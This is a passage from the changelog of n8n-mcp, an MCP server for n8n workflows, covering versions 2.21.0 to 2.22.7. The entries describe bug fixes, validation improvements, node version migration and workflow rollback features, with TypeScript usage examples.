1576 | - **Accurate Examples**: All examples now show correct, working patterns
1577 | - **Better Error Prevention**: Pitfall warning helps users avoid this mistake
1578 | - **No Code Changes**: This is purely a documentation fix - no implementation changes needed
1579 |
1580 | #### Testing
1581 |
1582 | - ✅ Documentation reviewed by code-reviewer agent
1583 | - ✅ Tested by n8n-mcp-tester agent
1584 | - ✅ All examples verified against actual implementation behavior
1585 | - ✅ Pitfall accurately describes technical limitation
1586 |
1587 | #### Files Changed
1588 |
1589 | **Documentation (1 file)**:
1590 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts` - Corrected 3 instances of array property removal documentation
1591 |
1592 | **Configuration (2 files)**:
1593 | - `package.json` - Version bump to 2.22.7
1594 | - `package.runtime.json` - Version bump to 2.22.7
1595 |
1596 | #### Related
1597 |
1598 | - **Issue**: #292 - Missing documentation on how to remove node properties using `updateNode`
1599 | - **PR**: #375 - Resolve GitHub Issue 292 in n8n-mcp
1600 | - **Code Review**: Identified critical array index notation documentation error
1601 | - **Root Cause**: Implementation doesn't parse array bracket notation `[N]`
1602 |
1603 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1604 |
1605 | ## [2.22.6] - 2025-10-25
1606 |
1607 | ### 🐛 Bug Fixes
1608 |
1609 | **Issue #228: Fix Docker Port Configuration Mismatch**
1610 |
1611 | Fixed critical Docker configuration bug where custom PORT environment variable values were not properly mapped to container ports, causing connection failures in Docker deployments.
1612 |
1613 | #### Problem
1614 | - **docker-compose.yml**: Port mapping `"${PORT:-3000}:3000"` hardcoded container port to 3000
1615 | - **docker-compose.yml**: Health check hardcoded to port 3000
1616 | - **Dockerfile**: Health check hardcoded to port 3000
1617 | - Impact: When PORT≠3000 (e.g., PORT=8080), Docker mapped host port to wrong container port
1618 |
1619 | #### Solution
1620 | - **docker-compose.yml line 44**: Changed port mapping to `"${PORT:-3000}:${PORT:-3000}"`
1621 | - **docker-compose.yml line 56**: Updated health check to use dynamic port `$${PORT:-3000}`
1622 | - **Dockerfile line 93**: Updated HEALTHCHECK to use dynamic port `${PORT:-3000}`
1623 | - **Dockerfile line 85**: Added clarifying comment about PORT configurability
1624 |
1625 | #### Testing
1626 | - Verified with default PORT (3000)
1627 | - Verified with custom PORT (8080)
1628 | - Health checks work correctly in both scenarios
1629 |
1630 | #### Related Issues
1631 | - Fixes #228 (Docker Compose port error)
1632 | - Likely fixes #109 (Configuration ignored in HTTP mode)
1633 | - Likely fixes #84 (Can't access container)
1634 |
1635 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1636 |
1637 | ## [2.22.3] - 2025-10-25
1638 |
1639 | ### 🔧 Code Quality Improvements
1640 |
1641 | **Issue #349: Refactor n8n API Response Validation (PR #367)**
1642 |
1643 | Improved code maintainability and added comprehensive test coverage for defensive response validation added in PR #367.
1644 |
1645 | #### Refactoring
1646 |
1647 | **1. Eliminated DRY Violation**
1648 | - Extracted duplicated validation logic into `validateListResponse<T>()` helper method
1649 | - Reduced code duplication from 88 lines to single reusable function
1650 | - Impact: 75% reduction in validation code, easier maintenance
1651 |
1652 | **2. Enhanced Error Handling**
1653 | - Consistent error message format across all list operations
1654 | - Limited error message verbosity (max 5 keys shown to prevent information exposure)
1655 | - Added security protection against data structure exposure
1656 | - Better error messages: `got object with keys: [data, items, total, hasMore, meta]`
1657 |
1658 | **3. Improved Documentation**
1659 | - Added JSDoc comments explaining backwards compatibility
1660 | - Documented modern vs legacy response formats
1661 | - Referenced issue #349 for context
1662 |
1663 | #### Testing
1664 |
1665 | **Added Comprehensive Unit Tests** (29 new test cases)
1666 | - Legacy array format wrapping for all 4 methods
1667 | - Null/undefined response handling
1668 | - Primitive type rejection (string, number, boolean)
1669 | - Invalid structure detection
1670 | - Non-array data field validation
1671 | - Error message truncation with many keys
1672 | - 100% coverage of new validation logic
1673 |
1674 | **Test Coverage Results**:
1675 | - Before: 0% coverage of validation scenarios
1676 | - After: 100% coverage (29/29 scenarios tested)
1677 | - All validation paths exercised and verified
1678 |
1679 | #### Impact
1680 |
1681 | **Code Quality**:
1682 | - ✅ DRY principle restored (no duplication)
1683 | - ✅ Type safety improved with generics
1684 | - ✅ Consistent error handling across all methods
1685 | - ✅ Well-documented backwards compatibility
1686 |
1687 | **Maintainability**:
1688 | - ✅ Single source of truth for validation logic
1689 | - ✅ Future bug fixes apply to all methods automatically
1690 | - ✅ Easier to understand and modify
1691 |
1692 | **Security**:
1693 | - ✅ Limited information exposure in error messages
1694 | - ✅ Protection against verbose error logs
1695 |
1696 | **Testing**:
1697 | - ✅ Full test coverage prevents regressions
1698 | - ✅ All edge cases validated
1699 | - ✅ Backwards compatibility verified
1700 |
1701 | #### Files Modified
1702 |
1703 | **Code (1 file)**:
1704 | - `src/services/n8n-api-client.ts`
1705 | - Added `validateListResponse<T>()` private helper method (44 lines)
1706 | - Refactored listWorkflows, listExecutions, listCredentials, listTags (reduced from ~100 lines to ~20 lines)
1707 | - Added JSDoc documentation to all 4 list methods
1708 | - Net reduction: ~80 lines of code
1709 |
1710 | **Tests (1 file)**:
1711 | - `tests/unit/services/n8n-api-client.test.ts`
1712 | - Added 29 comprehensive validation test cases (237 lines)
1713 | - Coverage for all 4 list methods
1714 | - Tests for legacy format, null responses, invalid structures, key truncation
1715 |
1716 | **Configuration (1 file)**:
1717 | - `package.json` - Version bump to 2.22.3
1718 |
1719 | #### Technical Details
1720 |
1721 | **Helper Method Signature**:
1722 | ```typescript
1723 | private validateListResponse<T>(
1724 | responseData: any,
1725 | resourceType: string
1726 | ): { data: T[]; nextCursor?: string | null }
1727 | ```
1728 |
1729 | **Error Message Example**:
1730 | ```
1731 | Invalid response from n8n API for workflows: expected {data: [], nextCursor?: string},
1732 | got object with keys: [items, total, hasMore, page, limit]...
1733 | ```
1734 |
1735 | **Usage Example**:
1736 | ```typescript
1737 | async listWorkflows(params: WorkflowListParams = {}): Promise<WorkflowListResponse> {
1738 | try {
1739 | const response = await this.client.get('/workflows', { params });
1740 | return this.validateListResponse<Workflow>(response.data, 'workflows');
1741 | } catch (error) {
1742 | throw handleN8nApiError(error);
1743 | }
1744 | }
1745 | ```
1746 |
1747 | #### Related
1748 |
1749 | - **Issue**: #349 - Response validation for n8n API list operations
1750 | - **PR**: #367 - Add defensive response validation (original implementation)
1751 | - **Code Review**: Identified DRY violation and missing test coverage
1752 | - **Testing**: Validated by n8n-mcp-tester agent
1753 | - **Analysis**: Both agents confirmed functional correctness, recommended refactoring
1754 |
1755 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1756 |
1757 | ---
1758 |
1759 | ### ✨ Enhancements
1760 |
1761 | **Issue #361: Enhanced HTTP Request Node Validation Suggestions**
1762 |
1763 | Added helpful suggestions for HTTP Request node best practices to prevent common production issues discovered through real-world workflow analysis.
1764 |
1765 | #### What's New
1766 |
1767 | 1. **alwaysOutputData Suggestion**
1768 | - Suggests adding `alwaysOutputData: true` at node level (not in parameters)
1769 | - Prevents silent workflow failures when HTTP requests error
1770 | - Ensures downstream error handling can process failed requests
1771 | - Example suggestion: "Consider adding alwaysOutputData: true at node level for better error handling. This ensures the node produces output even when HTTP requests fail, allowing downstream error handling."
1772 |
1773 | 2. **responseFormat Suggestion for API Endpoints**
1774 | - Suggests setting `options.response.response.responseFormat` for API endpoints
1775 | - Prevents JSON parsing confusion
1776 | - Triggered when URL contains `/api`, `/rest`, `supabase`, `firebase`, `googleapis`, or `.com/v` patterns
1777 | - Example suggestion: "API endpoints should explicitly set options.response.response.responseFormat to 'json' or 'text' to prevent confusion about response parsing"
1778 |
1779 | 3. **Enhanced URL Protocol Validation**
1780 | - Detects missing protocol in expression-based URLs
1781 | - Warns about patterns like `=www.{{ $json.domain }}.com` (missing http://)
1782 | - Warns about expressions without protocol: `={{ $json.domain }}/api/data`
1783 | - Example warning: "URL expression appears to be missing http:// or https:// protocol"
1784 |
1785 | #### Investigation Findings
1786 |
1787 | This enhancement was developed after thorough investigation of issue #361:
1788 |
1789 | **Key Discoveries:**
1790 | - ✅ Mixed expression syntax `=literal{{ expression }}` **actually works in n8n** - the issue report's primary claim was incorrect
1791 | - ✅ Real validation gaps identified: missing `alwaysOutputData` and `responseFormat` checks
1792 | - ✅ Workflow analysis showed "?" icon in UI caused by missing required URL (already caught by validation)
1793 | - ✅ Compared broken vs fixed workflows to identify actual production issues
1794 |
1795 | **Testing Evidence:**
1796 | - Analyzed workflow SwjKJsJhe8OsYfBk with mixed syntax - executions successful
1797 | - Compared broken workflow (mBmkyj460i5rYTG4) with fixed workflow (hQI9pby3nSFtk4TV)
1798 | - Identified that fixed workflow has `alwaysOutputData: true` and explicit `responseFormat: "json"`
1799 |
1800 | #### Impact
1801 |
1802 | - **Non-Breaking**: All changes are suggestions/warnings, not errors
1803 | - **Profile-Aware**: Suggestions shown in all profiles for maximum helpfulness
1804 | - **Actionable**: Clear guidance on how to implement best practices
1805 | - **Production-Focused**: Addresses real workflow reliability concerns from actual broken workflows
1806 |
1807 | #### Test Coverage
1808 |
1809 | Added 8 new test cases covering:
1810 | - alwaysOutputData suggestion for all HTTP Request nodes
1811 | - responseFormat suggestion for API endpoint detection (various patterns)
1812 | - responseFormat NOT suggested when already configured
1813 | - URL protocol validation for expression-based URLs
1814 | - Protocol warnings for missing http:// in expressions
1815 | - No false positives when protocol is correctly included
1816 |
1817 | #### Technical Details
1818 |
1819 | **Files Modified:**
1820 | - `src/services/enhanced-config-validator.ts` - Added `enhanceHttpRequestValidation()` implementation
1821 | - `tests/unit/services/enhanced-config-validator.test.ts` - Added 8 comprehensive test cases
1822 |
1823 | **Validation Flow:**
1824 | 1. Check for alwaysOutputData suggestion (all HTTP Request nodes)
1825 | 2. Detect API endpoints by URL patterns
1826 | 3. Check for explicit responseFormat configuration
1827 | 4. Validate expression-based URLs for protocol issues
1828 |
1829 | #### Related
1830 |
1831 | - **Issue**: #361 - validate_node_operation: Missing critical HTTP Request node configuration checks
1832 | - **Analysis**: Deep investigation with @agent-Explore and @agent-n8n-mcp-tester
1833 | - **Workflows Analyzed**:
1834 | - SwjKJsJhe8OsYfBk (mixed syntax test)
1835 | - mBmkyj460i5rYTG4 (broken workflow)
1836 | - hQI9pby3nSFtk4TV (fixed workflow)
1837 |
1838 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
1839 |
1840 | ---
1841 |
1842 | ### 🐛 Bug Fixes
1843 |
1844 | **Issue #360: Enhanced Warnings for If/Switch Node Connection Parameters**
1845 |
1846 | Fixed issue where users could unintentionally place multiple If node connections on the same branch (TRUE/FALSE) when using `sourceIndex` parameter instead of the recommended `branch` parameter. The system now provides helpful warnings to guide users toward better practices.
1847 |
1848 | #### What Was Fixed
1849 |
1850 | 1. **New Warning System**:
1851 | - Warns when using `sourceIndex` with If nodes - suggests `branch="true"` or `branch="false"` instead
1852 | - Warns when using `sourceIndex` with Switch nodes - suggests `case=N` instead
1853 | - Explains the correct branch structure: `main[0]=TRUE branch, main[1]=FALSE branch`
1854 |
1855 | 2. **Enhanced Documentation**:
1856 | - Added **CRITICAL** pitfalls to `n8n_update_partial_workflow` tool documentation
1857 | - Clear guidance that using `sourceIndex=0` for multiple connections puts them ALL on the TRUE branch
1858 | - Examples showing correct vs. incorrect usage
1859 |
1860 | 3. **Type System Improvements**:
1861 | - Added `warnings` field to `WorkflowDiffResult` interface
1862 | - Warnings are non-blocking (operations still succeed)
1863 | - Differentiated from errors for better UX
1864 |
1865 | #### Behavior
1866 |
1867 | The existing `branch` parameter works correctly and has comprehensive test coverage:
1868 | - `branch="true"` → routes to `main[0]` (TRUE path)
1869 | - `branch="false"` → routes to `main[1]` (FALSE path)
1870 |
1871 | The issue was that users who didn't know about the `branch` parameter would naturally use `sourceIndex`, which led to incorrect branch routing.
1872 |
1873 | #### Example Warning
1874 |
1875 | ```
1876 | Connection to If node "Check Condition" uses sourceIndex=0.
1877 | Consider using branch="true" or branch="false" for better clarity.
1878 | If node outputs: main[0]=TRUE branch, main[1]=FALSE branch.
1879 | ```
1880 |
1881 | #### Test Coverage
1882 |
1883 | - Added regression tests that reproduce the exact issue from #360
1884 | - Verify warnings are generated for If and Switch nodes
1885 | - Confirm existing smart parameter tests still pass
1886 |
1887 | **Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en**
1888 |
1889 | ---
1890 |
1891 | ### ✨ New Features
1892 |
1893 | **Auto-Update Node Versions with Smart Migration**
1894 |
1895 | Added comprehensive node version upgrade functionality to the autofixer, enabling automatic detection and migration of outdated node versions with intelligent breaking change handling.
1896 |
1897 | #### Key Features
1898 |
1899 | 1. **Smart Version Upgrades** (`typeversion-upgrade` fix type):
1900 | - Automatically detects outdated node versions
1901 | - Applies intelligent migrations with auto-migratable property changes
1902 | - Handles well-known breaking changes (Execute Workflow v1.0→v1.1, Webhook v2.0→v2.1)
1903 | - Generates UUIDs and sensible defaults for new required fields
1904 | - HIGH confidence for non-breaking upgrades, MEDIUM for breaking changes with auto-migration
1905 |
1906 | 2. **Version Migration Guidance** (`version-migration` fix type):
1907 | - Documents complex migrations requiring manual intervention
1908 | - Provides AI-friendly post-update guidance with step-by-step instructions
1909 | - Lists required actions by priority (CRITICAL, HIGH, MEDIUM, LOW)
1910 | - Documents behavior changes and their impact
1911 | - Estimates time required for manual migration steps
1912 | - MEDIUM/LOW confidence - requires review before applying
1913 |
1914 | 3. **Breaking Changes Registry**:
1915 | - Centralized registry of known breaking changes across n8n nodes
1916 | - Example: Execute Workflow v1.1+ requires `inputFieldMapping` (auto-added)
1917 | - Example: Webhook v2.1+ requires `webhookId` field (auto-generated UUID)
1918 | - Extensible for future node version changes
1919 |
1920 | 4. **Post-Update Validation**:
1921 | - Generates comprehensive migration reports for AI agents
1922 | - Includes required actions, deprecated properties, behavior changes
1923 | - Provides actionable migration steps with estimated time
1924 | - Helps AI agents understand what manual work is needed after auto-migration
1925 |
1926 | #### Architecture
1927 |
1928 | - **NodeVersionService**: Version discovery, comparison, upgrade path recommendation
1929 | - **BreakingChangeDetector**: Detects changes from registry and dynamic schema comparison
1930 | - **NodeMigrationService**: Applies smart migrations with confidence scoring
1931 | - **PostUpdateValidator**: Generates AI-friendly migration guidance
1932 | - **Enhanced Database Schema**:
1933 | - `node_versions` table - tracks all available versions per node
1934 | - `version_property_changes` table - detailed migration tracking
1935 |
1936 | #### Usage Example
1937 |
1938 | ```typescript
1939 | // Preview all fixes including version upgrades
1940 | n8n_autofix_workflow({id: "wf_123"})
1941 |
1942 | // Only upgrade versions with smart migrations
1943 | n8n_autofix_workflow({
1944 | id: "wf_123",
1945 | fixTypes: ["typeversion-upgrade"],
1946 | applyFixes: true
1947 | })
1948 |
1949 | // Get migration guidance for breaking changes
1950 | n8n_autofix_workflow({
1951 | id: "wf_123",
1952 | fixTypes: ["version-migration"]
1953 | })
1954 | ```
1955 |
1956 | #### Impact
1957 |
1958 | - Proactively keeps workflows up-to-date with latest node versions
1959 | - Reduces manual migration effort for Execute Workflow, Webhook, and other versioned nodes
1960 | - Provides clear guidance for AI agents on handling breaking changes
1961 | - Ensures workflows benefit from latest node features and bug fixes
1962 |
1963 | **Conceived by Romuald Członkowski - www.aiadvisors.pl/en**
1964 |
1965 | ---
1966 |
1967 | **Workflow Versioning & Rollback System**
1968 |
1969 | Added comprehensive workflow versioning, backup, and rollback capabilities with automatic pruning to prevent memory leaks. Every workflow update now creates an automatic backup that can be restored on failure.
1970 |
1971 | #### Key Features
1972 |
1973 | 1. **Automatic Backups**:
1974 | - Every workflow update automatically creates a version backup (opt-out via `createBackup: false`)
1975 | - Captures full workflow state before modifications
1976 | - Auto-prunes to 10 versions per workflow (prevents unbounded storage growth)
1977 | - Tracks trigger context (partial_update, full_update, autofix)
1978 | - Stores operation sequences for audit trail
1979 |
1980 | 2. **Rollback Capability** (`n8n_workflow_versions` tool):
1981 | - Restore workflow to any previous version
1982 | - Automatic backup of current state before rollback
1983 | - Optional pre-rollback validation
1984 | - Six operational modes: list, get, rollback, delete, prune, truncate
1985 |
1986 | 3. **Version Management**:
1987 | - List version history with metadata (size, trigger, operations applied)
1988 | - Get detailed version information including full workflow snapshot
1989 | - Delete specific versions or all versions for a workflow
1990 | - Manual pruning with custom retention count
1991 |
1992 | 4. **Memory Safety**:
1993 | - Automatic pruning to max 10 versions per workflow after each backup
1994 | - Manual cleanup tools (delete, prune, truncate)
1995 | - Storage statistics tracking (total size, per-workflow breakdown)
1996 | - Zero configuration required - works automatically
1997 |
1998 | 5. **Non-Blocking Design**:
1999 | - Backup failures don't block workflow updates
2000 | - Logged warnings for failed backups
2001 | - Continues with update even if versioning service unavailable
2002 |
2003 | #### Architecture
2004 |
2005 | - **WorkflowVersioningService**: Core versioning logic (backup, restore, cleanup)
2006 | - **workflow_versions Table**: Stores full workflow snapshots with metadata
2007 | - **Auto-Pruning**: FIFO policy keeps 10 most recent versions
2008 | - **Hybrid Storage**: Full snapshots + operation sequences for audit trail
2009 |
2010 | #### Usage Examples
2011 |
2012 | ```typescript
2013 | // Automatic backups (default behavior)
2014 | n8n_update_partial_workflow({
2015 | id: "wf_123",
2016 | operations: [...]
2017 | // createBackup: true is default
2018 | })
2019 |
2020 | // List version history
2021 | n8n_workflow_versions({
2022 | mode: "list",
2023 | workflowId: "wf_123",
2024 | limit: 10
2025 | })
2026 |
2027 | // Rollback to previous version
2028 | n8n_workflow_versions({
2029 | mode: "rollback",
2030 | workflowId: "wf_123"
2031 | // Restores to latest backup, creates backup of current state first
2032 | })
2033 |
2034 | // Rollback to specific version
2035 | n8n_workflow_versions({
2036 | mode: "rollback",
2037 | workflowId: "wf_123",
2038 | versionId: 42
2039 | })
2040 |
2041 | // Delete old versions manually
2042 | n8n_workflow_versions({
2043 | mode: "prune",
2044 | workflowId: "wf_123",
2045 | maxVersions: 5
2046 | })
2047 |
2048 | // Emergency cleanup (requires confirmation)
2049 | n8n_workflow_versions({
2050 | mode: "truncate",
2051 | confirmTruncate: true
2052 | })
2053 | ```
2054 |
2055 | #### Impact
2056 |
2057 | - **Confidence**: Increases AI agent confidence by 3x (per UX analysis)
2058 | - **Safety**: Transforms feature from "use with caution" to "production-ready"
2059 | - **Recovery**: Failed updates can be instantly rolled back
2060 | - **Audit**: Complete history of workflow changes with operation sequences
2061 | - **Memory**: Auto-pruning prevents storage leaks (~200KB per workflow max)
2062 |
2063 | #### Integration Points
2064 |
2065 | - `n8n_update_partial_workflow`: Automatic backup before diff operations
2066 | - `n8n_update_full_workflow`: Automatic backup before full replacement
2067 | - `n8n_autofix_workflow`: Automatic backup with fix types metadata
2068 | - `n8n_workflow_versions`: Unified rollback/cleanup interface (6 modes)
2069 |
2070 | **Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)**
2071 |
2072 | ## [2.21.1] - 2025-10-23
2073 |
2074 | ### 🐛 Bug Fixes
2075 |
2076 | **Issue #357: Fix AI Node Connection Validation in Partial Workflow Updates**
2077 |
2078 | Fixed critical validation issue where `n8n_update_partial_workflow` incorrectly required `main` connections for AI nodes that exclusively use AI-specific connection types (`ai_languageModel`, `ai_memory`, `ai_embedding`, `ai_vectorStore`, `ai_tool`).
2079 |
2080 | #### Problem
2081 |
2082 | Workflows containing AI nodes (OpenAI Chat Model, Postgres Chat Memory, Embeddings OpenAI, Supabase Vector Store) could not be updated via `n8n_update_partial_workflow`, even for trivial changes to unrelated nodes. The validation logic incorrectly expected ALL nodes to have `main` connections, causing false positive errors:
2083 |
2084 | ```
2085 | Invalid connections: [
2086 | {
2087 | "code": "invalid_type",
2088 | "expected": "array",
2089 | "received": "undefined",
2090 | "path": ["OpenAI Chat Model", "main"],
2091 | "message": "Required"
2092 | }
2093 | ]
2094 | ```
2095 |
2096 | **Impact**: Users could not update any workflows containing AI Agent nodes via MCP tools, forcing manual updates through the n8n UI.
2097 |
2098 | #### Root Cause
2099 |
2100 | The Zod schema in `src/services/n8n-validation.ts` (lines 27-39) defined `main` connections as a **required field** for all nodes, without support for AI-specific connection types:
2101 |
2102 | ```typescript
2103 | // BEFORE (Broken):
2104 | export const workflowConnectionSchema = z.record(
2105 | z.object({
2106 | main: z.array(...), // Required - WRONG for AI nodes!
2107 | })
2108 | );
2109 | ```
2110 |
2111 | AI nodes use specialized connection types exclusively:
2112 | - **ai_languageModel** - Language models (OpenAI, Anthropic, etc.)
2113 | - **ai_memory** - Memory systems (Postgres Chat Memory, etc.)
2114 | - **ai_embedding** - Embedding models (Embeddings OpenAI, etc.)
2115 | - **ai_vectorStore** - Vector stores (Supabase Vector Store, etc.)
2116 | - **ai_tool** - Tools for AI agents
2117 |
2118 | These nodes **never have `main` connections** - they only have their AI-specific connection types.
2119 |
2120 | #### Fixed
2121 |
2122 | **1. Updated Zod Schema** (`src/services/n8n-validation.ts` lines 27-49):
2123 | ```typescript
2124 | // AFTER (Fixed):
2125 | const connectionArraySchema = z.array(
2126 | z.array(
2127 | z.object({
2128 | node: z.string(),
2129 | type: z.string(),
2130 | index: z.number(),
2131 | })
2132 | )
2133 | );
2134 |
2135 | export const workflowConnectionSchema = z.record(
2136 | z.object({
2137 | main: connectionArraySchema.optional(), // Now optional
2138 | error: connectionArraySchema.optional(), // Error connections
2139 | ai_tool: connectionArraySchema.optional(), // AI tool connections
2140 | ai_languageModel: connectionArraySchema.optional(), // Language model connections
2141 | ai_memory: connectionArraySchema.optional(), // Memory connections
2142 | ai_embedding: connectionArraySchema.optional(), // Embedding connections
2143 | ai_vectorStore: connectionArraySchema.optional(), // Vector store connections
2144 | })
2145 | );
2146 | ```
2147 |
2148 | **2. Comprehensive Test Suite** (New file: `tests/integration/workflow-diff/ai-node-connection-validation.test.ts`):
2149 | - 13 test scenarios covering all AI connection types
2150 | - Tests for AI nodes with ONLY AI-specific connections (no `main`)
2151 | - Tests for mixed workflows (regular nodes + AI nodes)
2152 | - Tests for the exact scenario from issue #357
2153 | - All tests passing ✅
2154 |
2155 | **3. Updated Documentation** (`src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`):
2156 | - Added clarification that AI nodes do NOT require `main` connections
2157 | - Documented fix for issue #357
2158 | - Updated best practices for AI workflows
2159 |
2160 | #### Testing
2161 |
2162 | **Before Fix**:
2163 | - ❌ `n8n_validate_workflow`: Returns `valid: true` (correct)
2164 | - ❌ `n8n_update_partial_workflow`: FAILS with "main connections required" errors
2165 | - ❌ Cannot update workflows containing AI nodes at all
2166 |
2167 | **After Fix**:
2168 | - ✅ `n8n_validate_workflow`: Returns `valid: true` (still correct)
2169 | - ✅ `n8n_update_partial_workflow`: SUCCEEDS without validation errors
2170 | - ✅ AI nodes correctly recognized with AI-specific connection types only
2171 | - ✅ All 13 new integration tests passing
2172 | - ✅ Tested with actual workflow `019Vrw56aROeEzVj` from issue #357
2173 |
2174 | #### Impact
2175 |
2176 | **Zero Breaking Changes**:
2177 | - Making required fields optional is always backward compatible
2178 | - All existing workflows continue working
2179 | - Validation now correctly matches n8n's actual connection model
2180 |
2181 | **Fixes**:
2182 | - Users can now update AI workflows via `n8n_update_partial_workflow`
2183 | - AI nodes no longer generate false positive validation errors
2184 | - Consistent validation between `n8n_validate_workflow` and `n8n_update_partial_workflow`
2185 |
2186 | #### Files Changed
2187 |
2188 | **Modified (3 files)**:
2189 | - `src/services/n8n-validation.ts` - Fixed Zod schema to support all connection types
2190 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts` - Updated documentation
2191 | - `package.json` - Version bump to 2.21.1
2192 |
2193 | **Added (1 file)**:
2194 | - `tests/integration/workflow-diff/ai-node-connection-validation.test.ts` - Comprehensive test suite (13 tests)
2195 |
2196 | #### References
2197 |
2198 | - **Issue**: #357 - n8n_update_partial_workflow incorrectly validates AI nodes requiring 'main' connections
2199 | - **Workflow**: `019Vrw56aROeEzVj` (WOO_Workflow_21_POST_Chat_Send_AI_Agent)
2200 | - **Investigation**: Deep code analysis by Explore agent identified exact root cause in Zod schema
2201 | - **Confirmation**: n8n-mcp-tester agent verified fix with real workflow
2202 |
2203 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
2204 |
2205 | ## [2.21.0] - 2025-10-23
2206 |
2207 | ### ✨ Features
2208 |
2209 | **Issue #353: Auto-Update Connection References on Node Rename**
2210 |
2211 | Enhanced `n8n_update_partial_workflow` to automatically update all connection references when renaming nodes, matching n8n UI behavior and eliminating the need for complex manual workarounds.
2212 |
2213 | #### Problem
2214 | When renaming a node using the `updateNode` operation, connections still referenced the old node name, causing validation errors:
2215 | ```
2216 | "Connection references non-existent target node: Old Name"
2217 | ```
2218 |
2219 | This forced users to manually remove and re-add all connections, requiring:
2220 | - 3+ operations instead of 1 simple rename
2221 | - Manual tracking of all connection details (source, branch/case, indices)
2222 | - Error-prone connection management
2223 | - Inconsistent behavior compared to n8n UI
2224 |
2225 | #### Solution: Automatic Connection Reference Updates
2226 |
2227 | When you rename a node, **all connection references are automatically updated throughout the entire workflow**. The system:
2228 | 1. Detects name changes during `updateNode` operations
2229 | 2. Tracks old→new name mappings
2230 | 3. Updates all connection references after node operations complete
2231 | 4. Handles all connection types and branch configurations
2232 |
2233 | #### What Gets Updated Automatically
2234 |
2235 | **Connection Source Keys:**
2236 | - If a source node is renamed, its connections object key is updated
2237 | - Example: `connections['Old Name']` → `connections['New Name']`
2238 |
2239 | **Connection Target References:**
2240 | - If a target node is renamed, all connections pointing to it are updated
2241 | - Example: `{node: 'Old Name', type: 'main', index: 0}` → `{node: 'New Name', type: 'main', index: 0}`
2242 |
2243 | **All Connection Types:**
2244 | - `main` - Standard connections
2245 | - `error` - Error output connections
2246 | - `ai_tool` - AI tool connections
2247 | - `ai_languageModel` - AI language model connections
2248 | - `ai_memory` - AI memory connections
2249 | - All other connection types
2250 |
2251 | **All Branch Configurations:**
2252 | - IF node branches (true/false outputs)
2253 | - Switch node cases (multiple numbered outputs)
2254 | - Error output branches
2255 | - AI-specific connection routing
2256 |
2257 | #### Examples
2258 |
2259 | **Before (v2.20.8 and earlier) - Failed:**
2260 | ```javascript
2261 | // Attempting to rename would fail
2262 | n8n_update_partial_workflow({
2263 | id: "workflow_id",
2264 | operations: [{
2265 | type: "updateNode",
2266 | nodeId: "8546d741-1af1-4aa0-bf11-af6c926c0008",
2267 | updates: {
2268 | name: "Return 404 Not Found" // Rename from "Return 403 Forbidden"
2269 | }
2270 | }]
2271 | });
2272 |
2273 | // Result: ERROR
2274 | // "Workflow validation failed with 2 structural issues"
2275 | // "Connection references non-existent target node: Return 403 Forbidden"
2276 |
2277 | // Required workaround (3 operations):
2278 | operations: [
2279 | {type: "removeConnection", source: "IF", target: "Return 403 Forbidden", branch: "false"},
2280 | {type: "updateNode", nodeId: "...", updates: {name: "Return 404 Not Found"}},
2281 | {type: "addConnection", source: "IF", target: "Return 404 Not Found", branch: "false"}
2282 | ]
2283 | ```
2284 |
2285 | **After (v2.21.0) - Works Automatically:**
2286 | ```javascript
2287 | // Same operation now succeeds automatically!
2288 | n8n_update_partial_workflow({
2289 | id: "workflow_id",
2290 | operations: [{
2291 | type: "updateNode",
2292 | nodeId: "8546d741-1af1-4aa0-bf11-af6c926c0008",
2293 | updates: {
2294 | name: "Return 404 Not Found", // Connections auto-update!
2295 | parameters: {
2296 | responseBody: '={{ {"error": "Not Found"} }}',
2297 | options: { responseCode: 404 }
2298 | }
2299 | }
2300 | }]
2301 | });
2302 |
2303 | // Result: SUCCESS
2304 | // All connections automatically point to "Return 404 Not Found"
2305 | // Single operation instead of 3+
2306 | ```
2307 |
2308 | #### Additional Features
2309 |
2310 | **Name Collision Detection:**
2311 | ```javascript
2312 | // Attempting to rename to existing name
2313 | {type: "updateNode", nodeId: "abc", updates: {name: "Existing Name"}}
2314 |
2315 | // Result: Clear error message
2316 | "Cannot rename node 'Old Name' to 'Existing Name': A node with that name
2317 | already exists (id: xyz123...). Please choose a different name."
2318 | ```
2319 |
2320 | **Batch Rename Support:**
2321 | ```javascript
2322 | // Multiple renames in single call - all connections update correctly
2323 | operations: [
2324 | {type: "updateNode", nodeId: "node1", updates: {name: "New Name 1"}},
2325 | {type: "updateNode", nodeId: "node2", updates: {name: "New Name 2"}},
2326 | {type: "updateNode", nodeId: "node3", updates: {name: "New Name 3"}}
2327 | ]
2328 | ```
2329 |
2330 | **Chain Operations:**
2331 | ```javascript
2332 | // Rename then immediately use new name in subsequent operations
2333 | operations: [
2334 | {type: "updateNode", nodeId: "abc", updates: {name: "New Name"}},
2335 | {type: "addConnection", source: "New Name", target: "Other Node"}
2336 | ]
2337 | ```
2338 |
2339 | #### Technical Implementation
2340 |
2341 | **Files Modified:**
2342 | - `src/services/workflow-diff-engine.ts` - Core auto-update logic
2343 | - Added `renameMap` property to track name changes
2344 | - Added `updateConnectionReferences()` method (lines 943-994)
2345 | - Enhanced `validateUpdateNode()` with name collision detection (lines 369-392)
2346 | - Modified `applyUpdateNode()` to track renames (lines 613-635)
2347 | - Connection updates applied after Pass 1 node operations (lines 156-160)
2348 |
2349 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`
2350 | - Added comprehensive "Automatic Connection Reference Updates" section
2351 | - Added to tips: "Node renames: Connections automatically update"
2352 | - Includes before/after examples and best practices
2353 |
2354 | **New Test Files:**
2355 | - `tests/unit/services/workflow-diff-node-rename.test.ts` (925 lines, 14 scenarios)
2356 | - `tests/integration/workflow-diff/node-rename-integration.test.ts` (4 real-world workflows)
2357 |
2358 | **Test Coverage:**
2359 | 1. Simple rename with single connection
2360 | 2. Multiple incoming connections
2361 | 3. Multiple outgoing connections
2362 | 4. IF node branches (true/false)
